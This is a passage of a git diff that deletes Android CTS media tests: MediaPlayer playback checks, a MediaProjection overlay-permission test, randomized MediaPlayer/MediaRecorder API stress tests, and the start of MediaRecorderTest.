-        mMediaPlayer.setOnVideoSizeChangedListener(new MediaPlayer.OnVideoSizeChangedListener() {
-            @Override
-            public void onVideoSizeChanged(MediaPlayer mp, int w, int h) {
-                if (w == 0 && h == 0) {
-                    // A size of 0x0 can be sent initially one time when using NuPlayer.
-                    assertFalse(mOnVideoSizeChangedCalled.isSignalled());
-                    return;
-                }
-                mOnVideoSizeChangedCalled.signal();
-                if (width != null) {
-                    assertEquals(width.intValue(), w);
-                }
-                if (height != null) {
-                    assertEquals(height.intValue(), h);
-                }
-            }
-        });
-        mMediaPlayer.setOnErrorListener(new MediaPlayer.OnErrorListener() {
-            @Override
-            public boolean onError(MediaPlayer mp, int what, int extra) {
-                fail("Media player had error " + what + " playing video");
-                return true;
-            }
-        });
-        mMediaPlayer.setOnInfoListener(new MediaPlayer.OnInfoListener() {
-            @Override
-            public boolean onInfo(MediaPlayer mp, int what, int extra) {
-                if (what == MediaPlayer.MEDIA_INFO_VIDEO_RENDERING_START) {
-                    mOnVideoRenderingStartCalled.signal();
-                }
-                return true;
-            }
-        });
-        try {
-          mMediaPlayer.prepare();
-        } catch (IOException e) {
-          mMediaPlayer.reset();
-          throw new PrepareFailedException();
-        }
-
-        mMediaPlayer.start();
-        if (!audioOnly) {
-            mOnVideoSizeChangedCalled.waitForSignal();
-            mOnVideoRenderingStartCalled.waitForSignal();
-        }
-        mMediaPlayer.setVolume(leftVolume, rightVolume);
-
-        // waiting to complete
-        if (playTime == -1) {
-            return;
-        } else if (playTime == 0) {
-            while (mMediaPlayer.isPlaying()) {
-                Thread.sleep(SLEEP_TIME);
-            }
-        } else {
-            Thread.sleep(playTime);
-        }
-
-        // validate a few MediaMetrics.
-        PersistableBundle metrics = mMediaPlayer.getMetrics();
-        if (metrics == null) {
-            fail("MediaPlayer.getMetrics() returned null metrics");
-        } else if (metrics.isEmpty()) {
-            fail("MediaPlayer.getMetrics() returned empty metrics");
-        } else {
-
-            int size = metrics.size();
-            Set<String> keys = metrics.keySet();
-
-            if (keys == null) {
-                fail("MediaMetricsSet returned no keys");
-            } else if (keys.size() != size) {
-                fail("MediaMetricsSet.keys().size() mismatch MediaMetricsSet.size()");
-            }
-
-            // we played something; so one of these should be non-null
-            String vmime = metrics.getString(MediaPlayer.MetricsConstants.MIME_TYPE_VIDEO, null);
-            String amime = metrics.getString(MediaPlayer.MetricsConstants.MIME_TYPE_AUDIO, null);
-            if (vmime == null && amime == null) {
-                fail("getMetrics() returned neither video nor audio mime value");
-            }
-
-            long duration = metrics.getLong(MediaPlayer.MetricsConstants.DURATION, -2);
-            if (duration == -2) {
-                fail("getMetrics() didn't return a duration");
-            }
-            long playing = metrics.getLong(MediaPlayer.MetricsConstants.PLAYING, -2);
-            if (playing == -2) {
-                fail("getMetrics() didn't return a playing time");
-            }
-            if (!keys.contains(MediaPlayer.MetricsConstants.PLAYING)) {
-                fail("MediaMetricsSet.keys() missing: " + MediaPlayer.MetricsConstants.PLAYING);
-            }
-        }
-
-        mMediaPlayer.stop();
-    }
-
-    private static class PrepareFailedException extends Exception {}
-
-    public boolean isTv() {
-        PackageManager pm = getInstrumentation().getTargetContext().getPackageManager();
-        return pm.hasSystemFeature(pm.FEATURE_TELEVISION)
-                && pm.hasSystemFeature(pm.FEATURE_LEANBACK);
-    }
-
-    public boolean checkTv() {
-        return MediaUtils.check(isTv(), "not a TV");
-    }
-
-    protected void setOnErrorListener() {
-        mMediaPlayer.setOnErrorListener(new MediaPlayer.OnErrorListener() {
-            @Override
-            public boolean onError(MediaPlayer mp, int what, int extra) {
-                mOnErrorCalled.signal();
-                return false;
-            }
-        });
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaProjectionTest.java b/tests/tests/media/src/android/media/cts/MediaProjectionTest.java
deleted file mode 100644
index 1b7e3d41..0000000
--- a/tests/tests/media/src/android/media/cts/MediaProjectionTest.java
+++ /dev/null
@@ -1,108 +0,0 @@
-/*
- * Copyright 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
-
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-
-import android.app.ActivityManager;
-import android.content.Context;
-import android.media.projection.MediaProjection;
-import android.os.Handler;
-import android.os.Looper;
-import android.os.UserHandle;
-import android.provider.Settings;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.rule.ActivityTestRule;
-
-import com.android.compatibility.common.util.ShellUtils;
-
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Test MediaProjection lifecycle.
- *
- * This test starts and stops a MediaProjection screen capture session using
- * MediaProjectionActivity.
- *
- * Currently we check that we are able to draw overlay windows during the session but not before
- * or after. (We request SYATEM_ALERT_WINDOW permission, but it is not granted, so by default we
- * cannot.)
- *
- * Note that there are other tests verifying that screen capturing actually works correctly in
- * CtsWindowManagerDeviceTestCases.
- */
-@NonMediaMainlineTest
-public class MediaProjectionTest {
-    @Rule
-    public ActivityTestRule<MediaProjectionActivity> mActivityRule =
-            new ActivityTestRule<>(MediaProjectionActivity.class, false, false);
-
-    private MediaProjectionActivity mActivity;
-    private MediaProjection mMediaProjection;
-    private Context mContext;
-
-    @Before
-    public void setUp() {
-        mContext = InstrumentationRegistry.getContext();
-        runWithShellPermissionIdentity(() -> {
-            mContext.getPackageManager().revokeRuntimePermission(
-                    mContext.getPackageName(),
-                    android.Manifest.permission.SYSTEM_ALERT_WINDOW,
-                    new UserHandle(ActivityManager.getCurrentUser()));
-        });
-    }
-
-    @Test
-    public void testOverlayAllowedDuringScreenCapture() throws Exception {
-        assertFalse(Settings.canDrawOverlays(mContext));
-
-        startMediaProjection();
-        assertTrue(Settings.canDrawOverlays(mContext));
-
-        stopMediaProjection();
-        assertFalse(Settings.canDrawOverlays(mContext));
-    }
-
-    private void startMediaProjection() throws Exception {
-        mActivityRule.launchActivity(null);
-        mActivity = mActivityRule.getActivity();
-        mMediaProjection = mActivity.waitForMediaProjection();
-    }
-
-    private void stopMediaProjection() throws Exception {
-        final int STOP_TIMEOUT_MS = 1000;
-        CountDownLatch stoppedLatch = new CountDownLatch(1);
-
-        mMediaProjection.registerCallback(new MediaProjection.Callback() {
-            public void onStop() {
-                stoppedLatch.countDown();
-            }
-        }, new Handler(Looper.getMainLooper()));
-        mMediaProjection.stop();
-
-        assertTrue("Could not stop the MediaProjection in " + STOP_TIMEOUT_MS + "ms",
-                stoppedLatch.await(STOP_TIMEOUT_MS, TimeUnit.MILLISECONDS));
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaRandomTest.java b/tests/tests/media/src/android/media/cts/MediaRandomTest.java
deleted file mode 100644
index 5e2310a..0000000
--- a/tests/tests/media/src/android/media/cts/MediaRandomTest.java
+++ /dev/null
@@ -1,379 +0,0 @@
-/*
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import android.content.res.AssetFileDescriptor;
-import android.media.MediaRecorder;
-import android.media.MediaPlayer;
-import android.os.Environment;
-import android.os.ParcelFileDescriptor;
-import android.platform.test.annotations.AppModeFull;
-import android.test.ActivityInstrumentationTestCase2;
-import android.util.Log;
-import android.view.SurfaceHolder;
-
-import java.io.File;
-import java.util.Random;
-
-/**
- * Tests for the MediaPlayer.java and MediaRecorder.java APIs
- *
- * These testcases make randomized calls to the public APIs available, and
- * the focus is on whether the randomized calls can lead to crash in
- * mediaserver process and/or ANRs.
- *
- * The files in res/raw used by testLocalVideo* are (c) copyright 2008,
- * Blender Foundation / www.bigbuckbunny.org, and are licensed under the Creative Commons
- * Attribution 3.0 License at http://creativecommons.org/licenses/by/3.0/us/.
- */
-@NonMediaMainlineTest
-@MediaHeavyPresubmitTest
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class MediaRandomTest extends ActivityInstrumentationTestCase2<MediaStubActivity> {
-    private static final String TAG = "MediaRandomTest";
-
-    static final String mInpPrefix = WorkDir.getMediaDirString();
-    private static final String OUTPUT_FILE =
-                Environment.getExternalStorageDirectory().toString() + "/record.3gp";
-
-    private static final int NUMBER_OF_RECORDER_RANDOM_ACTIONS = 100000;
-    private static final int NUMBER_OF_PLAYER_RANDOM_ACTIONS   = 100000;
-
-    private MediaRecorder mRecorder;
-    private MediaPlayer mPlayer;
-    private SurfaceHolder mSurfaceHolder;
-
-    // Modified across multiple threads
-    private volatile boolean mMediaServerDied;
-    private volatile int mAction;
-    private volatile int mParam;
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        getInstrumentation().waitForIdleSync();
-        mMediaServerDied = false;
-        mSurfaceHolder = getActivity().getSurfaceHolder();
-        try {
-            // Running this on UI thread make sure that
-            // onError callback can be received.
-            runTestOnUiThread(new Runnable() {
-                public void run() {
-                    mRecorder = new MediaRecorder();
-                    mPlayer = new MediaPlayer();
-                }
-            });
-        } catch (Throwable e) {
-            e.printStackTrace();
-            fail();
-        }
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        if (mRecorder != null) {
-            mRecorder.release();
-            mRecorder = null;
-        }
-        if (mPlayer != null) {
-            mPlayer.release();
-            mPlayer = null;
-        }
-        super.tearDown();
-    }
-
-    /**
-     * This is a watchdog used to stop the process if it hasn't been pinged
-     * for more than specified milli-seconds. It is used like:
-     *
-     * Watchdog w = new Watchdog(10000);  // 10 seconds.
-     * w.start();       // start the watchdog.
-     * ...
-     * w.ping();
-     * ...
-     * w.ping();
-     * ...
-     * w.end();        // ask the watchdog to stop.
-     * w.join();        // join the thread.
-     */
-    class Watchdog extends Thread {
-        private final long mTimeoutMs;
-        private boolean mWatchdogStop;
-        private boolean mWatchdogPinged;
-
-        public Watchdog(long timeoutMs) {
-            mTimeoutMs = timeoutMs;
-            mWatchdogStop = false;
-            mWatchdogPinged = false;
-        }
-
-        public synchronized void run() {
-            while (true) {
-                // avoid early termination by "spurious" waitup.
-                final long startTimeMs = System.currentTimeMillis();
-                long remainingWaitTimeMs = mTimeoutMs;
-                do {
-                    try {
-                        wait(remainingWaitTimeMs);
-                    } catch (InterruptedException ex) {
-                        // ignore.
-                    }
-                    remainingWaitTimeMs = mTimeoutMs - (System.currentTimeMillis() - startTimeMs);
-                } while (remainingWaitTimeMs > 0);
-
-                if (mWatchdogStop) {
-                    break;
-                }
-
-                if (!mWatchdogPinged) {
-                    fail("Action " + mAction + " Param " + mParam
-                            + " waited over " + (mTimeoutMs - remainingWaitTimeMs) + " ms");
-                    return;
-                }
-                mWatchdogPinged = false;
-            }
-        }
-
-        public synchronized void ping() {
-            mWatchdogPinged = true;
-            this.notify();
-        }
-
-        public synchronized void end() {
-            mWatchdogStop = true;
-            this.notify();
-        }
-    }
-
-    public MediaRandomTest() {
-        super("android.media.cts", MediaStubActivity.class);
-    }
-
-    private void loadSource(final String res) throws Exception {
-        Preconditions.assertTestFileExists(mInpPrefix + res);
-        File inpFile = new File(mInpPrefix + res);
-        ParcelFileDescriptor parcelFD =
-                ParcelFileDescriptor.open(inpFile, ParcelFileDescriptor.MODE_READ_ONLY);
-        AssetFileDescriptor afd = new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize());
-        try {
-            mPlayer.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(),
-                    afd.getLength());
-        } finally {
-            afd.close();
-        }
-    }
-    public void testPlayerRandomActionAV1() throws Exception {
-        testPlayerRandomAction(
-                "video_480x360_webm_av1_400kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
-    }
-    public void testPlayerRandomActionH264() throws Exception {
-        testPlayerRandomAction(
-                "video_480x360_mp4_h264_500kbps_30fps_aac_stereo_128kbps_44100hz.mp4");
-    }
-    public void testPlayerRandomActionHEVC() throws Exception {
-        testPlayerRandomAction(
-                "video_480x360_mp4_hevc_650kbps_30fps_aac_stereo_128kbps_48000hz.mp4");
-    }
-    public void testPlayerRandomActionMpeg2() throws Exception {
-        testPlayerRandomAction(
-                "video_480x360_mp4_mpeg2_1500kbps_30fps_aac_stereo_128kbps_48000hz.mp4");
-    }
-    private void testPlayerRandomAction(final String res) throws Exception {
-        Watchdog watchdog = new Watchdog(5000);
-        try {
-            mPlayer.setOnErrorListener(new MediaPlayer.OnErrorListener() {
-                @Override
-                public boolean onError(MediaPlayer mp, int what, int extra) {
-                    if (mPlayer == mp &&
-                        what == MediaPlayer.MEDIA_ERROR_SERVER_DIED) {
-                        Log.e(TAG, "mediaserver process died");
-                        mMediaServerDied = true;
-                    }
-                    return true;
-                }
-            });
-            loadSource(res);
-            mPlayer.setDisplay(mSurfaceHolder);
-            mPlayer.prepare();
-            mPlayer.start();
-
-            long seed = System.currentTimeMillis();
-            Log.v(TAG, "seed = " + seed);
-            Random r = new Random(seed);
-
-            watchdog.start();
-            for (int i = 0; i < NUMBER_OF_PLAYER_RANDOM_ACTIONS; i++){
-                watchdog.ping();
-                assertTrue(!mMediaServerDied);
-
-                mAction = (int)(r.nextInt() % 12);
-                mParam = (int)(r.nextInt() % 1000000);
-                try {
-                    switch (mAction) {
-                    case 0:
-                        mPlayer.getCurrentPosition();
-                        break;
-                    case 1:
-                        mPlayer.getDuration();
-                        break;
-                    case 2:
-                        mPlayer.getVideoHeight();
-                        break;
-                    case 3:
-                        mPlayer.getVideoWidth();
-                       break;
-                    case 4:
-                        mPlayer.isPlaying();
-                        break;
-                    case 5:
-                        mPlayer.pause();
-                        break;
-                    case 6:
-                        // Don't add mPlayer.prepare() call here for two reasons:
-                        // 1. calling prepare() is a bad idea since it is a blocking call, and
-                        // 2. when prepare() is in progress, mediaserver died message will not be sent to apps
-                        mPlayer.prepareAsync();
-                        break;
-                    case 7:
-                        mPlayer.seekTo((int)(mParam));
-                        break;
-                    case 8:
-                        mPlayer.setLooping(mParam % 2 == 0);
-                        break;
-                    case 9:
-                        mPlayer.setVolume((mParam % 1000) / 500.0f,
-                                     (mParam / 1000) / 500.0f);
-                        break;
-                    case 10:
-                        mPlayer.start();
-                        break;
-                    case 11:
-                        Thread.sleep(mParam % 20);
-                        break;
-                    }
-                } catch (Exception e) {
-                }
-            }
-            mPlayer.stop();
-        } catch (Exception e) {
-            Log.v(TAG, e.toString());
-        } finally {
-            watchdog.end();
-            watchdog.join();
-        }
-    }
-
-    public void testRecorderRandomAction() throws Exception {
-        Watchdog watchdog = new Watchdog(5000);
-        try {
-            long seed = System.currentTimeMillis();
-            Log.v(TAG, "seed = " + seed);
-            Random r = new Random(seed);
-
-            mMediaServerDied = false;
-            mRecorder.setOnErrorListener(new MediaRecorder.OnErrorListener() {
-                @Override
-                public void onError(MediaRecorder recorder, int what, int extra) {
-                    if (mRecorder == recorder &&
-                        what == MediaRecorder.MEDIA_ERROR_SERVER_DIED) {
-                        Log.e(TAG, "mediaserver process died");
-                        mMediaServerDied = true;
-                    }
-                }
-            });
-
-            final int[] width  = {176, 352, 320, 640, 1280, 1920};
-            final int[] height = {144, 288, 240, 480,  720, 1080};
-            final int[] audioSource = {
-                    MediaRecorder.AudioSource.DEFAULT,
-                    MediaRecorder.AudioSource.MIC,
-                    MediaRecorder.AudioSource.CAMCORDER,
-            };
-
-            watchdog.start();
-            for (int i = 0; i < NUMBER_OF_RECORDER_RANDOM_ACTIONS; i++) {
-                watchdog.ping();
-                assertTrue(!mMediaServerDied);
-
-                mAction = (int)(r.nextInt(14));
-                mParam = (int)(r.nextInt(1000000));
-                try {
-                    switch (mAction) {
-                    case 0: {
-                        // We restrict the audio sources because setting some sources
-                        // may cause 2+ second delays because the input device may
-                        // retry - loop (e.g. VOICE_UPLINK for voice call to be initiated).
-                        final int index = mParam % audioSource.length;
-                        mRecorder.setAudioSource(audioSource[index]);
-                        break;
-                    }
-                    case 1:
-                        // XXX:
-                        // Fix gralloc source and change
-                        // mRecorder.setVideoSource(mParam % 3);
-                        mRecorder.setVideoSource(mParam % 2);
-                        break;
-                    case 2:
-                        mRecorder.setOutputFormat(mParam % 5);
-                        break;
-                    case 3:
-                        mRecorder.setAudioEncoder(mParam % 3);
-                        break;
-                    case 4:
-                        mRecorder.setVideoEncoder(mParam % 5);
-                        break;
-                    case 5:
-                        mRecorder.setPreviewDisplay(mSurfaceHolder.getSurface());
-                        break;
-                    case 6:
-                        int index = mParam % width.length;
-                        mRecorder.setVideoSize(width[index], height[index]);
-                        break;
-                    case 7:
-                        mRecorder.setVideoFrameRate(mParam % 40 - 5);
-                        break;
-                    case 8:
-                        mRecorder.setOutputFile(OUTPUT_FILE);
-                        break;
-                    case 9:
-                        mRecorder.prepare();
-                        break;
-                    case 10:
-                        mRecorder.start();
-                        break;
-                    case 11:
-                        Thread.sleep(mParam % 20);
-                        break;
-                    case 12:
-                        mRecorder.stop();
-                        break;
-                    case 13:
-                        mRecorder.reset();
-                        break;
-                    default:
-                        break;
-                    }
-                } catch (Exception e) {
-                }
-            }
-        } catch (Exception e) {
-            Log.v(TAG, e.toString());
-        } finally {
-            watchdog.end();
-            watchdog.join();
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
deleted file mode 100644
index db8bdcf..0000000
--- a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
+++ /dev/null
@@ -1,1838 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.media.cts;
-
-import static android.media.MediaCodecInfo.CodecProfileLevel.*;
-
-import android.content.pm.PackageManager;
-import android.graphics.Canvas;
-import android.graphics.Color;
-import android.graphics.Paint;
-import android.hardware.Camera;
-import android.media.AudioFormat;
-import android.media.AudioRecordingConfiguration;
-import android.media.CamcorderProfile;
-import android.media.EncoderCapabilities;
-import android.media.EncoderCapabilities.VideoEncoderCap;
-import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
-import android.media.MediaCodecInfo.CodecCapabilities;
-import android.media.MediaCodecList;
-import android.media.MediaExtractor;
-import android.media.MediaFormat;
-import android.media.MediaMetadataRetriever;
-import android.media.MediaRecorder;
-import android.media.MediaRecorder.OnErrorListener;
-import android.media.MediaRecorder.OnInfoListener;
-import android.media.MicrophoneDirection;
-import android.media.MicrophoneInfo;
-import android.media.cts.AudioRecordingConfigurationTest.MyAudioRecordingCallback;
-import android.media.metrics.LogSessionId;
-import android.media.metrics.MediaMetricsManager;
-import android.media.metrics.RecordingSession;
-import android.opengl.GLES20;
-import android.os.Build;
-import android.os.ConditionVariable;
-import android.os.Environment;
-import android.os.ParcelFileDescriptor;
-import android.os.PersistableBundle;
-import android.platform.test.annotations.AppModeFull;
-import android.platform.test.annotations.RequiresDevice;
-import android.test.ActivityInstrumentationTestCase2;
-import android.test.UiThreadTest;
-import android.util.Log;
-import android.view.Surface;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.filters.SmallTest;
-
-import com.android.compatibility.common.util.ApiLevelUtil;
-import com.android.compatibility.common.util.CddTest;
-import com.android.compatibility.common.util.MediaUtils;
-
-import java.io.File;
-import java.io.FileDescriptor;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.RandomAccessFile;
-import java.lang.Runnable;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Set;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.Executor;
-import java.util.concurrent.TimeUnit;
-
-@SmallTest
-@RequiresDevice
-@AppModeFull(reason = "TODO: evaluate and port to instant")
-public class MediaRecorderTest extends ActivityInstrumentationTestCase2<MediaStubActivity> {
-    private final String TAG = "MediaRecorderTest";
-    private final String OUTPUT_PATH;
-    private final String OUTPUT_PATH2;
-    private static final float TOLERANCE = 0.0002f;
-    private static final int RECORD_TIME_MS = 3000;
-    private static final int RECORD_TIME_LAPSE_MS = 6000;
-    private static final int RECORD_TIME_LONG_MS = 20000;
-    private static final int RECORDED_DUR_TOLERANCE_MS = 1000;
-    private static final int TEST_TIMING_TOLERANCE_MS = 70;
-    // Tolerate 4 frames off at maximum
-    private static final float RECORDED_DUR_TOLERANCE_FRAMES = 4f;
-    private static final int VIDEO_WIDTH = 176;
-    private static final int VIDEO_HEIGHT = 144;
-    private static int mVideoWidth = VIDEO_WIDTH;
-    private static int mVideoHeight = VIDEO_HEIGHT;
-    private static final int VIDEO_BIT_RATE_IN_BPS = 128000;
-    private static final double VIDEO_TIMELAPSE_CAPTURE_RATE_FPS = 1.0;
-    private static final int AUDIO_BIT_RATE_IN_BPS = 12200;
-    private static final int AUDIO_NUM_CHANNELS = 1;
-    private static final int AUDIO_SAMPLE_RATE_HZ = 8000;
-    private static final long MAX_FILE_SIZE = 5000;
-    private static final int MAX_FILE_SIZE_TIMEOUT_MS = 5 * 60 * 1000;
-    private static final int MAX_DURATION_MSEC = 2000;
-    private static final float LATITUDE = 0.0000f;
-    private static final float LONGITUDE  = -180.0f;
-    private static final int NORMAL_FPS = 30;
-    private static final int TIME_LAPSE_FPS = 5;
-    private static final int SLOW_MOTION_FPS = 120;
-    private static final List<VideoEncoderCap> mVideoEncoders =
-            EncoderCapabilities.getVideoEncoders();
-
-    private boolean mOnInfoCalled;
-    private boolean mOnErrorCalled;
-    private File mOutFile;
-    private File mOutFile2;
-    private Camera mCamera;
-    private MediaStubActivity mActivity = null;
-    private int mFileIndex;
-
-    private MediaRecorder mMediaRecorder;
-    private ConditionVariable mMaxDurationCond;
-    private ConditionVariable mMaxFileSizeCond;
-    private ConditionVariable mMaxFileSizeApproachingCond;
-    private ConditionVariable mNextOutputFileStartedCond;
-    private boolean mExpectMaxFileCond;
-
-    // movie length, in frames
-    private static final int NUM_FRAMES = 120;
-
-    private static final int TEST_R0 = 0;                   // RGB equivalent of {0,0,0} (BT.601)
-    private static final int TEST_G0 = 136;
-    private static final int TEST_B0 = 0;
-    private static final int TEST_R1 = 236;                 // RGB equivalent of {120,160,200} (BT.601)
-    private static final int TEST_G1 = 50;
-    private static final int TEST_B1 = 186;
-
-    private final static String AVC = MediaFormat.MIMETYPE_VIDEO_AVC;
-
-    private boolean mIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
-    private boolean mIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
-
-    public MediaRecorderTest() {
-        super("android.media.cts", MediaStubActivity.class);
-        OUTPUT_PATH = new File(Environment.getExternalStorageDirectory(),
-                "record.out").getAbsolutePath();
-        OUTPUT_PATH2 = new File(Environment.getExternalStorageDirectory(),
-                "record2.out").getAbsolutePath();
-    }
-
-    private void completeOnUiThread(final Runnable runnable) {
-        final CountDownLatch latch = new CountDownLatch(1);
-        getActivity().runOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                runnable.run();
-                latch.countDown();
-            }
-        });
-        try {
-            // if UI thread does not run, things will fail anyway
-            assertTrue(latch.await(10, TimeUnit.SECONDS));
-        } catch (java.lang.InterruptedException e) {
-            fail("should not be interrupted");
-        }
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        mActivity = getActivity();
-        completeOnUiThread(new Runnable() {
-            @Override
-            public void run() {
-                mMediaRecorder = new MediaRecorder();
-                mOutFile = new File(OUTPUT_PATH);
-                mOutFile2 = new File(OUTPUT_PATH2);
-                mFileIndex = 0;
-
-                mMaxDurationCond = new ConditionVariable();
-                mMaxFileSizeCond = new ConditionVariable();
-                mMaxFileSizeApproachingCond = new ConditionVariable();
-                mNextOutputFileStartedCond = new ConditionVariable();
-                mExpectMaxFileCond = true;
-
-                mMediaRecorder.setOutputFile(OUTPUT_PATH);
-                mMediaRecorder.setOnInfoListener(new OnInfoListener() {
-                    public void onInfo(MediaRecorder mr, int what, int extra) {
-                        mOnInfoCalled = true;
-                        if (what ==
-                            MediaRecorder.MEDIA_RECORDER_INFO_MAX_DURATION_REACHED) {
-                            Log.v(TAG, "max duration reached");
-                            mMaxDurationCond.open();
-                        } else if (what ==
-                            MediaRecorder.MEDIA_RECORDER_INFO_MAX_FILESIZE_REACHED) {
-                            Log.v(TAG, "max file size reached");
-                            mMaxFileSizeCond.open();
-                        }
-                    }
-                });
-                mMediaRecorder.setOnErrorListener(new OnErrorListener() {
-                    public void onError(MediaRecorder mr, int what, int extra) {
-                        mOnErrorCalled = true;
-                    }
-                });
-            }
-        });
-        super.setUp();
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        if (mMediaRecorder != null) {
-            mMediaRecorder.release();
-            mMediaRecorder = null;
-        }
-        if (mOutFile != null && mOutFile.exists()) {
-            mOutFile.delete();
-        }
-        if (mOutFile2 != null && mOutFile2.exists()) {
-            mOutFile2.delete();
-        }
-        if (mCamera != null)  {
-            mCamera.release();
-            mCamera = null;
-        }
-        mMaxDurationCond.close();
-        mMaxDurationCond = null;
-        mMaxFileSizeCond.close();
-        mMaxFileSizeCond = null;
-        mMaxFileSizeApproachingCond.close();
-        mMaxFileSizeApproachingCond = null;
-        mNextOutputFileStartedCond.close();
-        mNextOutputFileStartedCond = null;
-        mActivity = null;
-        super.tearDown();
-    }
-
-    public void testRecorderCamera() throws Exception {
-        int width;
-        int height;
-        Camera camera = null;
-        if (!hasCamera()) {
-            MediaUtils.skipTest("no camera");
-            return;
-        }
-        // Try to get camera profile for QUALITY_LOW; if unavailable,
-        // set the video size to default value.
-        CamcorderProfile profile = CamcorderProfile.get(
-                0 /* cameraId */, CamcorderProfile.QUALITY_LOW);
-        if (profile != null) {
-            width = profile.videoFrameWidth;
-            height = profile.videoFrameHeight;
-        } else {
-            width = VIDEO_WIDTH;
-            height = VIDEO_HEIGHT;
-        }
-        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
-        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
-        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.DEFAULT);
-        mMediaRecorder.setVideoSize(width, height);
-        mMediaRecorder.setVideoEncodingBitRate(VIDEO_BIT_RATE_IN_BPS);
-        mMediaRecorder.setPreviewDisplay(mActivity.getSurfaceHolder().getSurface());
-        mMediaRecorder.prepare();
-        mMediaRecorder.start();
-        Thread.sleep(RECORD_TIME_MS);
-
-
-        // verify some getMetrics() behaviors while we're here.
-        PersistableBundle metrics = mMediaRecorder.getMetrics();
-        if (metrics == null) {
-            fail("MediaRecorder.getMetrics() returned null metrics");
-        } else if (metrics.isEmpty()) {
-            fail("MediaRecorder.getMetrics() returned empty metrics");
-        } else {
-            int size = metrics.size();
-            Set<String> keys = metrics.keySet();
-
-            if (size == 0) {
-                fail("MediaRecorder.getMetrics().size() reports empty record");
-            }
-
-            if (keys == null) {
-                fail("MediaMetricsSet returned no keys");
-            } else if (keys.size() != size) {
-                fail("MediaMetricsSet.keys().size() mismatch MediaMetricsSet.size()");
-            }
-
-            // ensure existence of some known fields
-            int videoBitRate = metrics.getInt(MediaRecorder.MetricsConstants.VIDEO_BITRATE, -1);
-            if (videoBitRate != VIDEO_BIT_RATE_IN_BPS) {
-                fail("getMetrics() videoEncodeBitrate set " +
-                     VIDEO_BIT_RATE_IN_BPS + " got " + videoBitRate);
-            }
-
-            // valid values are -1.0 and >= 0;
-            // tolerate some floating point rounding variability
-            double captureFrameRate = metrics.getDouble(MediaRecorder.MetricsConstants.CAPTURE_FPS, -2);
-            if (captureFrameRate < 0.) {
-                assertEquals("getMetrics() capture framerate=" + captureFrameRate, -1.0, captureFrameRate, 0.001);
-            }
-        }
-
-
-        mMediaRecorder.stop();
-        checkOutputExist();
-    }
-
-    public void testRecorderMPEG2TS() throws Exception {
-        int width;
-        int height;
-        Camera camera = null;
-        if (!hasCamera()) {
-            MediaUtils.skipTest("no camera");
-            return;
-        }
-        if (!hasMicrophone() || !hasAac()) {
-            MediaUtils.skipTest("no audio codecs or microphone");
-            return;
-        }
-        // Try to get camera profile for QUALITY_LOW; if unavailable,
-        // set the video size to default value.
-        CamcorderProfile profile = CamcorderProfile.get(
-                0 /* cameraId */, CamcorderProfile.QUALITY_LOW);
-        if (profile != null) {
-            width = profile.videoFrameWidth;
-            height = profile.videoFrameHeight;
-        } else {
-            width = VIDEO_WIDTH;
-            height = VIDEO_HEIGHT;
-        }
-        mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
-        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);
-        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_2_TS);
-        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
-        mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
